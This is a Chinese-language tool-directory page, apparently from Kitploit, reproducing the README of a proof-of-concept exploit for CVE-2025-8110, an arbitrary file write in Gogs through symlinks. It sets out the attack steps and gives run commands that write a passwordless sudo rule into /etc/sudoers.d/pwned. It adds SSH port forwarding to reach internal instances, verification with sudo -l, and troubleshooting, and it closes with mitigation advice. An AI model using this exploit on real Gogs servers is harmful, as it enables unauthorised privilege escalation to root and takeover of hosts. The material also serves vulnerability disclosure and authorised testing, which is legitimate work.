Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-8110-gogs-poc — PoC for CVE-2025-8110 - Gogs 通过符号链接任意文件写入 | Kitploit
工具/GitHubGitHub/shirouuu/cve-2025-8110-gogs-poc
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubshirouuu/cve-2025-8110-gogs-poc

CVE-2025-8110-gogs-poc

PoC for CVE-2025-8110 - Gogs 通过符号链接任意文件写入

查看仓库
5121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-8110 — Gogs 任意文件写入 (PoC)

针对 Gogs 中已验证用户任意文件写入的概念验证。 通过推送包含指向仓库外部的符号链接的仓库,然后通过 API 更新该链接的内容,已验证用户可以以运行 Gogs 账户的权限覆盖主机上的文件。

仅限授权测试和教育用途。 仅在您拥有或已获得明确书面许可的系统上运行此程序。您对使用方式负责。

工作原理

  1. 使用现有账户向 Gogs 进行身份验证。
  2. 从用户设置生成应用程序(API)令牌。
  3. 创建一个仓库。
  4. 添加一个符号链接(malicious_link -> /path/on/host)并推送。
  5. 向 Contents API 发送 PUT 请求以更新 malicious_link。Gogs 会跟随符号链接,并将提供的内容写入目标路径——使用其自身权限。如果 Gogs 以 root 身份运行,则这是一个直接权限提升原语(例如,向 /etc/sudoers.d/ 写入一条规则)。

实际上,API PUT 才是触发写入的操作;推送只是放置了符号链接。

要求

  • Python 3.8+
  • git 在 PATH 中可用
  • 一个已有的 Gogs 账户(目标上可能已禁用注册)
root@kitploit:~
pip install -r requirements.txt

使用

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:3000 \
    --user <username> \
    --password '<password>' \
    --target /etc/sudoers.d/pwned \
    --payload '<username> ALL=(ALL) NOPASSWD: ALL'

省略 --password 将以安全方式提示输入,而不是在命令行中传递。

访问内部 Gogs 实例

Gogs 通常绑定到目标机器的 localhost。使用 SSH 本地端口转发将其暴露到您的机器(调整端口以匹配目标):

root@kitploit:~
ssh -L 3000:127.0.0.1:3000 user@target
# 然后将 exploit 指向 http://127.0.0.1:3000

验证写入

成功运行后,在主机上(作为相关用户)检查:

root@kitploit:~
cat /etc/sudoers.d/pwned
sudo -l

如果您写入了 sudoers 规则,请注意 /etc/sudoers.d/ 中的文件必须是有效的,并且具有适当的权限,sudo 才会使用它们。

注意事项 / 故障排除

  • auto_init 返回 HTTP 500 — 脚本回退为创建空仓库并使用本地 git init + 推送来填充。
  • 推送被拒绝(非快进) — 脚本与远程仓库协调并重试;它也处理 master 与 main。
  • 未找到 CSRF 令牌 — 通常意味着目标/端口错误(您正访问一个不同的服务)或会话未经过身份验证。

缓解措施

升级到在 Contents API 中验证符号链接的 Gogs 版本。作为纵深防御,避免以 root 身份运行 Gogs,并隔离仓库存储。

许可证

MIT — 参见 LICENSE。

下载工具